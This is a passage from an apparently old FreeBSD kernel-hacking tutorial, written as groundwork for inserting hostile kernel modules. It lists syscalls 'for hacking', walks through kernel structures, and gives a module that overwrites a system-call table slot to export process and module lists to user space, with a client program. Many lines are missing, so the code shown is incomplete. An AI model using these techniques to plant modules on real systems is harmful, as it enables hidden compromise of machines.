912 { 0, (sy_call_t *)nosys }, /* 174 = nosys */
913 { 0, (sy_call_t *)nosys }, /* 175 = nosys */
914 { 1, (sy_call_t *)ntp_adjtime }, /* 176 = ntp_adjtime */
915 { 0, (sy_call_t *)nosys }, /* 177 = sfork */
916 { 0, (sy_call_t *)nosys }, /* 178 = getdescriptor */
917 { 0, (sy_call_t *)nosys }, /* 179 = setdescriptor */
918 { 0, (sy_call_t *)nosys }, /* 180 = nosys */
919 { 1, (sy_call_t *)setgid }, /* 181 = setgid */
920 { 1, (sy_call_t *)setegid }, /* 182 = setegid */
921 { 1, (sy_call_t *)seteuid }, /* 183 = seteuid */
922 { 0, (sy_call_t *)nosys }, /* 184 = lfs_bmapv */
923 { 0, (sy_call_t *)nosys }, /* 185 = lfs_markv */
924 { 0, (sy_call_t *)nosys }, /* 186 = lfs_segclean */
925 { 0, (sy_call_t *)nosys }, /* 187 = lfs_segwait */
926 { 2, (sy_call_t *)stat }, /* 188 = stat */
927 { 2, (sy_call_t *)fstat }, /* 189 = fstat */
928 { 2, (sy_call_t *)lstat }, /* 190 = lstat */
929 { 2, (sy_call_t *)pathconf }, /* 191 = pathconf */
930 { 2, (sy_call_t *)fpathconf }, /* 192 = fpathconf */
931 { 0, (sy_call_t *)nosys }, /* 193 = nosys */
932 { 2, (sy_call_t *)getrlimit }, /* 194 = getrlimit */
933 { 2, (sy_call_t *)setrlimit }, /* 195 = setrlimit */
934 { 4, (sy_call_t *)getdirentries }, /* 196 = getdirentries */
935 { 8, (sy_call_t *)mmap }, /* 197 = mmap */
936 { 0, (sy_call_t *)nosys }, /* 198 = __syscall */
937 { 5, (sy_call_t *)lseek }, /* 199 = lseek */
938 { 4, (sy_call_t *)truncate }, /* 200 = truncate */
939 { 4, (sy_call_t *)ftruncate }, /* 201 = ftruncate */
940 { 6, (sy_call_t *)__sysctl }, /* 202 = __sysctl */
941 { 2, (sy_call_t *)mlock }, /* 203 = mlock */
942 { 2, (sy_call_t *)munlock }, /* 204 = munlock */
943 { 1, (sy_call_t *)undelete }, /* 205 = undelete */
944 { 2, (sy_call_t *)futimes }, /* 206 = futimes */
945 { 1, (sy_call_t *)getpgid }, /* 207 = getpgid */
946 { 0, (sy_call_t *)nosys }, /* 208 = newreboot */
947 { 3, (sy_call_t *)poll }, /* 209 = poll */
948 { 0, (sy_call_t *)lkmnosys }, /* 210 = lkmnosys */
949 { 0, (sy_call_t *)lkmnosys }, /* 211 = lkmnosys */
950 { 0, (sy_call_t *)lkmnosys }, /* 212 = lkmnosys */
951 { 0, (sy_call_t *)lkmnosys }, /* 213 = lkmnosys */
952 { 0, (sy_call_t *)lkmnosys }, /* 214 = lkmnosys */
953 { 0, (sy_call_t *)lkmnosys }, /* 215 = lkmnosys */
954 { 0, (sy_call_t *)lkmnosys }, /* 216 = lkmnosys */
955 { 0, (sy_call_t *)lkmnosys }, /* 217 = lkmnosys */
956 { 0, (sy_call_t *)lkmnosys }, /* 218 = lkmnosys */
957 { 0, (sy_call_t *)lkmnosys }, /* 219 = lkmnosys */
958 { 4, (sy_call_t *)__semctl }, /* 220 = __semctl */
959 { 3, (sy_call_t *)semget }, /* 221 = semget */
960 { 3, (sy_call_t *)semop }, /* 222 = semop */
961 { 1, (sy_call_t *)semconfig }, /* 223 = semconfig */
962 { 3, (sy_call_t *)msgctl }, /* 224 = msgctl */
963 { 2, (sy_call_t *)msgget }, /* 225 = msgget */
964 { 4, (sy_call_t *)msgsnd }, /* 226 = msgsnd */
965 { 5, (sy_call_t *)msgrcv }, /* 227 = msgrcv */
966 { 3, (sy_call_t *)shmat }, /* 228 = shmat */
967 { 3, (sy_call_t *)shmctl }, /* 229 = shmctl */
968 { 1, (sy_call_t *)shmdt }, /* 230 = shmdt */
969 { 3, (sy_call_t *)shmget }, /* 231 = shmget */
970 { 2, (sy_call_t *)clock_gettime }, /* 232 = clock_gettime */
971 { 2, (sy_call_t *)clock_settime }, /* 233 = clock_settime */
972 { 2, (sy_call_t *)clock_getres }, /* 234 = clock_getres */
973 { 0, (sy_call_t *)nosys }, /* 235 = timer_create */
974 { 0, (sy_call_t *)nosys }, /* 236 = timer_delete */
975 { 0, (sy_call_t *)nosys }, /* 237 = timer_settime */
976 { 0, (sy_call_t *)nosys }, /* 238 = timer_gettime */
977 { 0, (sy_call_t *)nosys }, /* 239 = timer_getoverrun */
978 { 2, (sy_call_t *)nanosleep }, /* 240 = nanosleep */
979 { 0, (sy_call_t *)nosys }, /* 241 = nosys */
980 { 0, (sy_call_t *)nosys }, /* 242 = nosys */
981 { 0, (sy_call_t *)nosys }, /* 243 = nosys */
982 { 0, (sy_call_t *)nosys }, /* 244 = nosys */
983 { 0, (sy_call_t *)nosys }, /* 245 = nosys */
984 { 0, (sy_call_t *)nosys }, /* 246 = nosys */
985 { 0, (sy_call_t *)nosys }, /* 247 = nosys */
986 { 0, (sy_call_t *)nosys }, /* 248 = nosys */
987 { 0, (sy_call_t *)nosys }, /* 249 = nosys */
988 { 3, (sy_call_t *)minherit }, /* 250 = minherit */
989 { 1, (sy_call_t *)rfork }, /* 251 = rfork */
990 { 3, (sy_call_t *)openbsd_poll }, /* 252 = openbsd_poll */
991 { 0, (sy_call_t *)issetugid }, /* 253 = issetugid */
992 { 3, (sy_call_t *)lchown }, /* 254 = lchown */
993 { 0, (sy_call_t *)nosys }, /* 255 = nosys */
994 { 0, (sy_call_t *)nosys }, /* 256 = nosys */
995 { 0, (sy_call_t *)nosys }, /* 257 = nosys */
996 { 0, (sy_call_t *)nosys }, /* 258 = nosys */
997 { 0, (sy_call_t *)nosys }, /* 259 = nosys */
998 { 0, (sy_call_t *)nosys }, /* 260 = nosys */
999 { 0, (sy_call_t *)nosys }, /* 261 = nosys */
1000 { 0, (sy_call_t *)nosys }, /* 262 = nosys */
1001 { 0, (sy_call_t *)nosys }, /* 263 = nosys */
1002 { 0, (sy_call_t *)nosys }, /* 264 = nosys */
1003 { 0, (sy_call_t *)nosys }, /* 265 = nosys */
1004 { 0, (sy_call_t *)nosys }, /* 266 = nosys */
1005 { 0, (sy_call_t *)nosys }, /* 267 = nosys */
1006 { 0, (sy_call_t *)nosys }, /* 268 = nosys */
1007 { 0, (sy_call_t *)nosys }, /* 269 = nosys */
1008 { 0, (sy_call_t *)nosys }, /* 270 = nosys */
1009 { 0, (sy_call_t *)nosys }, /* 271 = nosys */
1010 { 3, (sy_call_t *)getdents }, /* 272 = getdents */
1011 { 0, (sy_call_t *)nosys }, /* 273 = nosys */
1012 { 2, (sy_call_t *)lchmod }, /* 274 = lchmod */
1013 { 3, (sy_call_t *)lchown }, /* 275 = netbsd_lchown */
1014 { 2, (sy_call_t *)lutimes }, /* 276 = lutimes */
1015 { 3, (sy_call_t *)msync }, /* 277 = netbsd_msync */
1016 { 2, (sy_call_t *)nstat }, /* 278 = nstat */
1017 { 2, (sy_call_t *)nfstat }, /* 279 = nfstat */
1018 { 2, (sy_call_t *)nlstat }, /* 280 = nlstat */
1019 { 0, (sy_call_t *)nosys }, /* 281 = nosys */
1020 { 0, (sy_call_t *)nosys }, /* 282 = nosys */
1021 { 0, (sy_call_t *)nosys }, /* 283 = nosys */
1022 { 0, (sy_call_t *)nosys }, /* 284 = nosys */
1023 { 0, (sy_call_t *)nosys }, /* 285 = nosys */
1024 { 0, (sy_call_t *)nosys }, /* 286 = nosys */
1025 { 0, (sy_call_t *)nosys }, /* 287 = nosys */
1026 { 0, (sy_call_t *)nosys }, /* 288 = nosys */
1027 { 0, (sy_call_t *)nosys }, /* 289 = nosys */
1028 { 0, (sy_call_t *)nosys }, /* 290 = nosys */
1029 { 0, (sy_call_t *)nosys }, /* 291 = nosys */
1030 { 0, (sy_call_t *)nosys }, /* 292 = nosys */
1031 { 0, (sy_call_t *)nosys }, /* 293 = nosys */
1032 { 0, (sy_call_t *)nosys }, /* 294 = nosys */
1033 { 0, (sy_call_t *)nosys }, /* 295 = nosys */
1034 { 0, (sy_call_t *)nosys }, /* 296 = nosys */
1035 { 0, (sy_call_t *)nosys }, /* 297 = nosys */
1036 { 0, (sy_call_t *)nosys }, /* 298 = nosys */
1037 { 0, (sy_call_t *)nosys }, /* 299 = nosys */
1038 { 1, (sy_call_t *)modnext }, /* 300 = modnext */
1039 { 2, (sy_call_t *)modstat }, /* 301 = modstat */
1040 { 1, (sy_call_t *)modfnext }, /* 302 = modfnext */
1041 { 1, (sy_call_t *)modfind }, /* 303 = modfind */
1042 { 1, (sy_call_t *)kldload }, /* 304 = kldload */
1043 { 1, (sy_call_t *)kldunload }, /* 305 = kldunload */
1044 { 1, (sy_call_t *)kldfind }, /* 306 = kldfind */
1045 { 1, (sy_call_t *)kldnext }, /* 307 = kldnext */
1046 { 2, (sy_call_t *)kldstat }, /* 308 = kldstat */
1047 { 1, (sy_call_t *)kldfirstmod }, /* 309 = kldfirstmod */
1048 { 1, (sy_call_t *)getsid }, /* 310 = getsid */
1049 { 0, (sy_call_t *)nosys }, /* 311 = setresuid */
1050 { 0, (sy_call_t *)nosys }, /* 312 = setresgid */
1051 { 0, (sy_call_t *)nosys }, /* 313 = obsolete signanosleep */
1052 { 1, (sy_call_t *)aio_return }, /* 314 = aio_return */
1053 { 3, (sy_call_t *)aio_suspend }, /* 315 = aio_suspend */
1054 { 2, (sy_call_t *)aio_cancel }, /* 316 = aio_cancel */
1055 { 1, (sy_call_t *)aio_error }, /* 317 = aio_error */
1056 { 1, (sy_call_t *)aio_read }, /* 318 = aio_read */
1057 { 1, (sy_call_t *)aio_write }, /* 319 = aio_write */
1058 { 4, (sy_call_t *)lio_listio }, /* 320 = lio_listio */
1059 { 0, (sy_call_t *)yield }, /* 321 = yield */
1060 { 1, (sy_call_t *)thr_sleep }, /* 322 = thr_sleep */
1061 { 1, (sy_call_t *)thr_wakeup }, /* 323 = thr_wakeup */
1062 { 1, (sy_call_t *)mlockall }, /* 324 = mlockall */
1063 { 0, (sy_call_t *)munlockall }, /* 325 = munlockall */
1064 { 2, (sy_call_t *)__getcwd }, /* 326 = __getcwd */
1065 { 2, (sy_call_t *)sched_setparam }, /* 327 = sched_setparam */
1066 { 2, (sy_call_t *)sched_getparam }, /* 328 = sched_getparam */
1067 { 3, (sy_call_t *)sched_setscheduler }, /* 329 = sched_setscheduler */
1068 { 1, (sy_call_t *)sched_getscheduler }, /* 330 = sched_getscheduler */
1069 { 0, (sy_call_t *)sched_yield }, /* 331 = sched_yield */
1070 { 1, (sy_call_t *)sched_get_priority_max }, /* 332 = sched_get_priority_max */
1071 { 1, (sy_call_t *)sched_get_priority_min }, /* 333 = sched_get_priority_min */
1072 { 2, (sy_call_t *)sched_rr_get_interval }, /* 334 = sched_rr_get_interval */
1073 { 2, (sy_call_t *)utrace }, /* 335 = utrace */
1074 { 8, (sy_call_t *)sendfile }, /* 336 = sendfile */
1075 { 3, (sy_call_t *)kldsym }, /* 337 = kldsym */
1078 As you can see sysent[] contains one sysent structure for every system call
1079 installed on the system. Recall that the first element in the sysent structure
1080 is the argument count and the second the function pointer. This means for the
1081 kldsysm system call :
1084 system call function : kldsysm
1086 And this means that we can get the sysent entry of every system call we want by
1087 reading sysent[system call number]. The easiest way to get the index is to use
1088 the syscalls.h file.
1091 <H3><A NAME="I.6.1."></A>6.1 Important system calls for hacking</h3>
1093 Now I want to extract the most important system calls you have to understand in
1094 order to do a bit of kernel hacking. I give you the system call number, the
1095 function and their arguments structure. Maybe you need to hack other
1096 system calls, its just a matter of creativity.
1100 <TABLE border=5 width=100%>
1103 <th>system call</th>
1105 <th>argument struct</th>
1109 <td>read(p, uap)</td>
1111 <td>struct read_args {<br>
1114 size_t nbyte; }<br></td>
1119 <td>write(p, uap)</td>
1121 <td>struct write_args {<br>
1123 const void *buf;<br>
1124 size_t nbyte; }<br></td>
1128 <td>open(p, uap)</td>
1130 <td>struct open_args {<br>
1133 int mode; }<br></td>
1137 <td>link(p, uap)</td>
1139 <td>struct link_args {<br>
1141 char *link; }<br></td>
1145 <td>recvfrom(p, uap)</td>
1147 <td>struct recvfrom_args {<br>
1153 int *fromlenaddr; }<br>
1158 <td>accept(p, uap)</td>
1160 <td>struct accept_args {<br>
1163 int *anamelen; }<br>
1169 <td>kill(p, uap)</td>
1171 <td>struct kill_args {<br>
1178 <td>ktrace(p, uap)</td>
1180 <td>struct ktrace_args {<br>
1189 <td>ioctl(p, uap)</td>
1191 <td>struct ioctl_args {<br>
1201 <td>reboot(p, uap)</td>
1203 <td>struct reboot_args {<br>
1210 <td>execve(p, uap)</td>
1212 <td>struct execve_args {<br>
1222 <td>sbrk(p, uap)</td>
1224 <td>struct sbrk_args {<br>
1233 <td>socket(p, uap)</td>
1235 <td>struct socket_args {<br>
1244 <td>connect(p, uap)</td>
1246 <td>struct connect_args {<br>
1256 <td>bind(p, uap)</td>
1258 <td>struct bind_args {<br>
1267 <td>listen(p, uap)</td>
1269 <td>struct listen_args {<br>
1276 <td>readv(p, uap)</td>
1278 <td>struct readv_args {<br>
1280 struct iovec *iovp;<br>
1287 <td>writev(p, uap)</td>
1289 <td>struct writev_args {<br>
1291 struct iovec *iovp;<br>
1297 <td>rename(p, uap)</td>
1299 <td>struct rename_args {<br>
1306 <td>sendto(p, uap)</td>
1308 <td>struct sendto_args {<br>
1320 <td>mkdir(p, uap)</td>
1322 <td>struct mkdir_args {<br>
1329 <td>rmdir(p, uap)</td>
1331 <td>struct rmdir_args {<br>
1338 <td>getdirentries(p, uap)</td>
1340 <td>struct getdirentries_args {<br>
1349 <td>modnext(p, uap)</td>
1351 <td>struct modnext_args {<br>
1358 <td>modstat(p, uap)</td>
1360 <td>struct modstat_args {<br>
1362 struct module_stat *stat; }<br>
1369 <td>modfnext(p, uap)</td>
1371 <td>struct modfnext_args {<br>
1377 <td>modfind(p, uap)</td>
1379 <td>struct modfind_args {<br>
1386 <td>kldload(p, uap)</td>
1388 <td>struct kldload_args {<br>
1389 const char *file; }<br>
1395 <td>kldunload(p, uap)</td>
1397 <td>struct kldunload_args {<br>
1403 <td>kldfind(p, uap)</td>
1405 <td>struct kldfind_args {<br>
1406 const char *file; }<br>
1412 <td>kldnext(p, uap)</td>
1414 <td>struct kldnext_args {<br>
1422 <td>kldstat(p, uap)</td>
1424 <td>struct kldstat_args {<br>
1426 struct kld_file_stat *stat; }<br>
1433 <td>kldsym(p, uap)</td>
1435 <td>struct kldsym_args {<br>
1447 As you can see every system call gets the proc structure (standing for the
1448 process calling the system call) and a special argument structure.
1451 <H3><A NAME="I.7."></A>7. Important Kernel structures / lists</h3>
1454 Beside system calls kernel structures and lists are one of the most important
1455 things we have to deal with. This section will explain the most basic kernel
1456 structures and lists we need to understand. It is impossible to give you a
1457 complete list of all interesting kernel lists, of course.<br>
1458 This text is dealing with inserting hostile modules into the kernel. Those
1459 modules are wrapped by link files. The kernel inserts any link file loaded in
1460 a global list of linker_file structures. So let's take a look at this
1463 struct linker_file {
1464 int refs; /* reference count */
1465 int userrefs; /* kldload(2) count */
1466 TAILQ_ENTRY(linker_file) link; /* list of all loaded files */
1467 char* filename; /* file which was loaded */
1468 int id; /* unique id */
1469 caddr_t address; /* load address */
1470 size_t size; /* size of file */
1471 int ndeps; /* number of dependancies */
1472 linker_file_t* deps; /* list of dependancies */
1473 STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
1474 TAILQ_HEAD(, module) modules; /* modules in this file */
1475 void* priv; /* implementation data */
1476 struct linker_file_ops* ops;
1479 Take a look at it. The general layout should be clear : link is used for the
1480 list management, filename is the name of the link file, modules stands for
1481 the modules in that file. This is the structure, but where is the global list
1482 holding all these entries? Take a look at the following line that can be
1483 found in kern_linker.c :
1485 static linker_file_list_t files;
1487 Unexpirienced kernel coders will ask what linker_file_list_t stands for (we
1488 thought of something like linker_file). Ok so let's look what
1489 linker_file_list_t stands for :
1491 typedef TAILQ_HEAD(, linker_file) linker_file_list_t;
1493 TAILQ_HEAD is one of lots of macros defined in queue.h. This include file
1494 provides lots o very helpful macros helping the kernel to manage a lot of
1495 internal lists. Let's say that the line above does something like
1496 initialization of the linker_file list, which can now be accessed via
1497 linker_file_list_t ('TheSeeker' will show how to use those macros).
1498 Ok now we know where the linker_file list is located this should be enough for
1500 Now what about modules. As I said before modules are described by a module
1501 structure (see above). Those structures are also organized in a global list.
1502 So where and how is this list defined, take a look at this line from
1505 typedef TAILQ_HEAD(, module) modulelist_t;
1507 Again we see TAILQ_HEAD providing us with a list and again we now know that
1508 modulelist_t is the global list for every module loaded.<br>
1509 One of the most important none-module related list in the kernel is the
1510 allproc (zombproc) list. The allproc list holds every process on the system
1511 except the zombie processes those are hold by zombproc. First let's take a
1512 look at the general structure of a process entry. The proc structure holds
1513 every piece of information needed :
1516 TAILQ_ENTRY(proc) p_procq; /* run/sleep queue. */
1517 LIST_ENTRY(proc) p_list; /* List of all processes. */
1519 /* substructures: */
1520 struct pcred *p_cred; /* Process owner's identity. */
1521 struct filedesc *p_fd; /* Ptr to open files structure. */
1522 struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */
1523 struct plimit *p_limit; /* Process limits. */
1524 struct vm_object *p_upages_obj;/* Upages object */
1525 struct procsig *p_procsig;
1526 #define p_sigacts p_procsig->ps_sigacts
1527 #define p_sigignore p_procsig->ps_sigignore
1528 #define p_sigcatch p_procsig->ps_sigcatch
1530 #define p_ucred p_cred->pc_ucred
1531 #define p_rlimit p_limit->pl_rlimit
1533 int p_flag; /* P_* flags. */
1534 char p_stat; /* S* process status. */
1537 pid_t p_pid; /* Process identifier. */
1538 LIST_ENTRY(proc) p_hash; /* Hash chain. */
1539 LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp. */
1540 struct proc *p_pptr; /* Pointer to parent process. */
1541 LIST_ENTRY(proc) p_sibling; /* List of sibling processes. */
1542 LIST_HEAD(, proc) p_children; /* Pointer to list of children. */
1544 struct callout_handle p_ithandle; /*
1545 * Callout handle for scheduling
1548 /* The following fields are all zeroed upon creation in fork. */
1549 #define p_startzero p_oppid
1551 pid_t p_oppid; /* Save parent pid during ptrace. XXX */
1552 int p_dupfd; /* Sideways return value from fdopen. XXX */
1554 struct vmspace *p_vmspace; /* Address space. */
1557 u_int p_estcpu; /* Time averaged value of p_cpticks. */
1558 int p_cpticks; /* Ticks of cpu time. */
1559 fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */
1560 void *p_wchan; /* Sleep address. */
1561 const char *p_wmesg; /* Reason for sleep. */
1562 u_int p_swtime; /* Time swapped in or out. */
1563 u_int p_slptime; /* Time since last blocked. */
1565 struct itimerval p_realtimer; /* Alarm timer. */
1566 u_int64_t p_runtime; /* Real time in microsec. */
1567 struct timeval p_switchtime; /* When last scheduled */
1568 u_quad_t p_uticks; /* Statclock hits in user mode. */
1569 u_quad_t p_sticks; /* Statclock hits in system mode. */
1570 u_quad_t p_iticks; /* Statclock hits processing intr. */
1572 int p_traceflag; /* Kernel trace points. */
1573 struct vnode *p_tracep; /* Trace to vnode. */
1575 int p_siglist; /* Signals arrived but not delivered. */
1577 struct vnode *p_textvp; /* Vnode of executable. */
1579 char p_lock; /* Process lock (prevent swap) count. */
1580 char p_oncpu; /* Which cpu we are on */
1581 char p_lastcpu; /* Last cpu we were on */
1582 char p_pad2; /* alignment */
1584 short p_locks; /* DEBUG: lockmgr count of held locks */
1585 short p_simple_locks; /* DEBUG: count of held simple locks */
1586 unsigned int p_stops; /* procfs event bitmask */
1587 unsigned int p_stype; /* procfs stop event type */
1588 char p_step; /* procfs stop *once* flag */
1589 unsigned char p_pfsflags; /* procfs flags */
1590 char p_pad3[2]; /* padding for alignment */
1591 register_t p_retval[2]; /* syscall aux returns */
1592 struct sigiolst p_sigiolst; /* list of sigio sources */
1593 int p_sigparent; /* signal to parent on exit */
1594 sigset_t p_oldsigmask; /* saved mask from before sigpause */
1595 int p_sig; /* for core dump/debugger XXX */
1596 u_long p_code; /* for core dump/debugger XXX */
1598 /* End area that is zeroed on creation. */
1599 #define p_endzero p_startcopy
1601 /* The following fields are all copied upon creation in fork. */
1602 #define p_startcopy p_sigmask
1604 sigset_t p_sigmask; /* Current signal mask. */
1605 u_char p_priority; /* Process priority. */
1606 u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */
1607 char p_nice; /* Process "nice" value. */
1608 char p_comm[MAXCOMLEN+1];
1610 struct pgrp *p_pgrp; /* Pointer to process group. */
1612 struct sysentvec *p_sysent; /* System call dispatch information. */
1614 struct rtprio p_rtprio; /* Realtime priority. */
1615 /* End area that is copied on creation. */
1616 #define p_endcopy p_addr
1617 struct user *p_addr; /* Kernel virtual addr of u-area (PROC ONLY). */
1618 struct mdproc p_md; /* Any machine-dependent fields. */
1620 u_short p_xstat; /* Exit status for wait; also stop signal. */
1621 u_short p_acflag; /* Accounting flags. */
1622 struct rusage *p_ru; /* Exit information. XXX */
1624 int p_nthreads; /* number of threads (only in leader) */
1625 void *p_aioinfo; /* ASYNC I/O info */
1626 int p_wakeup; /* thread id */
1627 struct proc *p_peers;
1628 struct proc *p_leader;
1629 struct pasleep p_asleep; /* Used by asleep()/await(). */
1632 This structure is quite big and complex. There are lots of substructurs we will
1633 use in part II, so I won't explain them here. Most of the fields should be
1634 clear. The vmspace field is also very important for us, because it's our gate
1635 to the process' memory.<br>
1636 Now we know how processes are described, but where do we have the allproc and
1637 zombroc lists ? Let's search for them in kern_proc.c :
1639 struct proclist allproc;
1640 struct proclist zombroc;
1642 A reference to proclist can be found in proc.h
1644 LIST_HEAD(proclist, proc);
1646 LIST_HEAD is another macro taken from queue.h that provides a list (here
1647 proclist). Now we know how to find any process running on the system : just
1648 look through allproc (zombroc).<br>
1649 This are the most basic lists and structures we need to understand, there are
1650 thousands more, but we won't need them too often.
1653 <H3><A NAME="I.7.1."></A>7.1.1. TheSeeker - or how to access kernel lists</h3>
1656 I developed a little module that inserts one new system call which provides
1657 us with the ability to export some kernel space structures and lists to user
1658 space. This is not very useful (there are better libc calls), I just wrote it
1659 to show you in an easy way how to handle system calls, kernel lists, user space
1660 kernel space interfaces, etc. There are some pieces of code that handle the
1661 user space <-> kernel space transition. For those not aware of this problem I
1662 suggest first reading section I.8. Those who read my Linux article should be
1663 able to continue without problems. So here is the module source :
1665 #include <sys/types.h>
1666 #include <sys/param.h>
1667 #include <sys/proc.h>
1668 #include <sys/module.h>
1669 #include <sys/sysent.h>
1670 #include <sys/kernel.h>
1671 #include <sys/systm.h>
1672 #include <sys/linker.h>
1673 #include <sys/sysproto.h>
1674 #include <sys/sysent.h>
1675 #include <sys/proc.h>
1676 #include <sys/syscall.h>
1677 #include <sys/file.h>
1678 #include <sys/malloc.h>
1679 #include <sys/types.h>
1680 #include <sys/lock.h>
1682 #define GD_ALLPROC 1
1683 #define GD_LINKFILES 2
1684 #define GD_MODULES 3
1686 typedef TAILQ_HEAD(, module) modulelist_t;
1688 /*import lock structure*/
1689 extern struct lock lock;
1691 /*import the linker_file list*/
1692 extern linker_file_list_t files;
1694 /*import module list*/
1695 extern modulelist_t modules;
1697 /*the module structure (normally defined in kern_module.c)*/
1699 TAILQ_ENTRY(module) link;
1700 TAILQ_ENTRY(module) flink;
1701 struct linker_file *file;
1705 modeventhand_t handler;
1710 /*structure for our getdata system call*/
1712 static struct getdata_args {
1713 /*this int value stands for the data the user wants to see*/
1715 /*this is a user space buffer where we will put the data*/
1720 /*the system call function we implement*/
1722 This system call gets two arguments from a user space program : an integer
1723 used as a switch parameter (what kernel list do we want) and a pointer to
1724 an allocated user space memory location. If this pointer is zero the
1725 system call will return the size of the requested list. This is useful for
1726 selecting the buffer size in a second step.*/
1729 int getdata(struct proc *p, struct getdata_args *uap)
1736 /*if the buffer is NULL then the user requests the list size*/
1737 if (uap->buffer==NULL) flag=1;
1739 /*which list does the user want*/
1745 pr=allproc.lh_first;
1746 for (; pr!=0; pr=pr->p_list.le_next)
1748 size+=sizeof(struct proc);
1750 /*if the user only want the size, return it*/
1751 if (flag==1) {p->p_retval[0]=size; break;}
1752 pr=allproc.lh_first;
1754 /*otherwise returnthe structure into the user space buffer*7
1755 for(; pr!=0; pr=pr->p_list.le_next)
1757 copyout(pr, uap->buffer+size, sizeof(struct proc));
1758 size+=sizeof(struct proc);
1760 /*return number of procs returned in buffer*/
1761 p->p_retval[0]=size/sizeof(struct proc);
1767 for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
1769 size+=sizeof(struct module);
1771 if (flag==1) {p->p_retval[0]=size; break;}
1773 for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
1775 copyout(mod, uap->buffer+size, sizeof(struct module));
1776 size+=sizeof(struct module);
1778 /*return number of procs returned in buffer*/
1779 p->p_retval[0]=size/sizeof(struct module);
1786 lockmgr(&lock, LK_SHARED, 0, curproc);
1787 for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
1789 size+=sizeof(struct linker_file);
1792 lockmgr(&lock, LK_RELEASE, 0, curproc);
1793 if (flag==1) {p->p_retval[0]=size; break;}
1795 lockmgr(&lock, LK_SHARED, 0, curproc);
1796 for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
1798 copyout(lf, uap->buffer+size, sizeof(struct linker_file));
1799 size+=sizeof(struct linker_file);
1801 lockmgr(&lock, LK_RELEASE, 0, curproc);
1802 /*return number of procs returned in buffer*/
1803 p->p_retval[0]=size/sizeof(struct linker_file);
1811 /*the hacked open syscall*/
1812 static struct sysent getdata_sysent = {
1814 getdata /* sy_call */
1820 * The function called at load/unload.
1823 dummy_handler (struct module *module, int cmd, void *arg)
1828 /*install the system call, UNLOAD will not remove it, I am too lazy :)*/
1829 sysent[210]=getdata_sysent;
1840 /*install the module as our MISC type*/
1841 static moduledata_t syscall_mod = {
1847 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
1850 This is no nice style programming style, but working. The copy* functions will
1851 be explained in I.8. Recognize that return values for user space a saved in
1852 a part of the module structure (p->p_retval[0]). The rest should be quite
1854 I also wrote a little user space program showing how to use this system call.
1855 Of course, you have to load the module before.
1857 #include <sys/types.h>
1858 #include <sys/param.h>
1859 #include <sys/proc.h>
1860 #include <sys/module.h>
1861 #include <sys/sysent.h>
1862 #include <sys/kernel.h>
1863 #include <sys/systm.h>
1864 #include <sys/linker.h>
1865 #include <sys/sysent.h>
1866 #include <sys/proc.h>
1867 #include <sys/syscall.h>
1868 #include <sys/file.h>
1869 #include <sys/malloc.h>
1870 #include <sys/types.h>
1871 #include <sys/lock.h>
1874 typedef struct linker_file* linker_file_t;
1876 struct linker_file {
1877 int refs; /* reference count */
1878 int userrefs; /* kldload(2) count */
1879 TAILQ_ENTRY(linker_file) link; /* list of all loaded files */
1880 char* filename; /* file which was loaded */
1881 int id; /* unique id */
1882 caddr_t address; /* load address */
1883 size_t size; /* size of file */
1884 int ndeps; /* number of dependancies */
1885 linker_file_t* deps; /* list of dependancies */
1886 STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
1887 TAILQ_HEAD(, module) modules; /* modules in this file */
1888 void* priv; /* implementation data */
1890 struct linker_file_ops* ops;
1895 TAILQ_ENTRY(module) link;
1896 TAILQ_ENTRY(module) flink;
1897 struct linker_file *file;
1901 modeventhand_t handler;
1908 #define GD_ALLPROC 1
1909 #define GD_LINKFILES 2
1910 #define GD_MODULES 3
1913 /*structure for our getdata system call*/
1914 struct getdata_args {
1915 /*this int value stands for the data the user wants to see*/
1917 /*this is a user space buffer where we will put the data*/
1921 void print_allprocs()
1923 struct getdata_args gda;
1929 /*set the getdata fields*/
1930 gda.what=GD_ALLPROC;
1932 size=syscall (210, gda);
1934 /*allocate some bytes*/
1935 p=(char*)malloc(size);
1937 /*set the getdata fields*/
1938 gda.what=GD_ALLPROC;
1939 gda.buffer=(char*)p;
1940 tmp=syscall(210, gda);
1941 procs=(struct proc*)p;
1943 for (counter=0; counter<tmp; counter++)
1944 printf("PID : %d\n", procs[counter].p_pid);
1951 struct getdata_args gda;
1953 struct linker_file *procs;
1957 /*set the getdata fields*/
1958 gda.what=GD_LINKFILES;
1960 size=syscall (210, gda);
1962 printf("SIZE : %d\n", size);
1964 /*allocate some bytes*/
1965 p=(char*)malloc(size);
1967 /*set the getdata fields*/
1968 gda.what=GD_LINKFILES;
1969 gda.buffer=(char*)p;
1970 tmp=syscall(210, gda);
1971 printf("STRUCTS : %d\n", tmp);
1972 procs=(struct linker_file*)p;
1974 for (counter=0; counter<tmp; counter++)
1975 printf("ID : %d\n", procs[counter].id);
1980 void print_modules()
1982 struct getdata_args gda;
1984 struct module *procs;
1988 /*set the getdata fields*/
1989 gda.what=GD_MODULES;
1991 size=syscall (210, gda);
1993 printf("SIZE : %d\n", size);
1995 /*allocate some bytes*/
1996 p=(char*)malloc(size);
1998 /*set the getdata fields*/
1999 gda.what=GD_MODULES;
2000 gda.buffer=(char*)p;
2001 tmp=syscall(210, gda);
2002 printf("STRUCTS : %d\n", tmp);
2003 procs=(struct module*)p;
2004 /*print the id of every module loaded so far*/
2005 for (counter=0; counter<tmp; counter++)
2006 printf("ID : %d\n", procs[counter].id);
2013 main(int argc, char **argv)
2020 Arghh, I hope no computer science professor will see this, it's a cruel kind of
2021 programming ;), but working [I hate it too loose time with nice software
2022 design...]. Of course, it would be very easy to make this program more
2023 compact, but I also wrote it this way to make it easier to understand. The
2024 different print_* functions will put out the desired information. The
2025 syscall() function calls a certain system call plus required arguments.<br>
2027 This module is no perfect solution. Try to access a field like filename in a
2028 linker_file structure you get vie print_files. You will get a nice error, why?
2029 Look at the following image :
2033 ----------------------------------------------------------------------------
2035 kernel space : one linker_file structure
2036 +++++++++++++++++++++++++
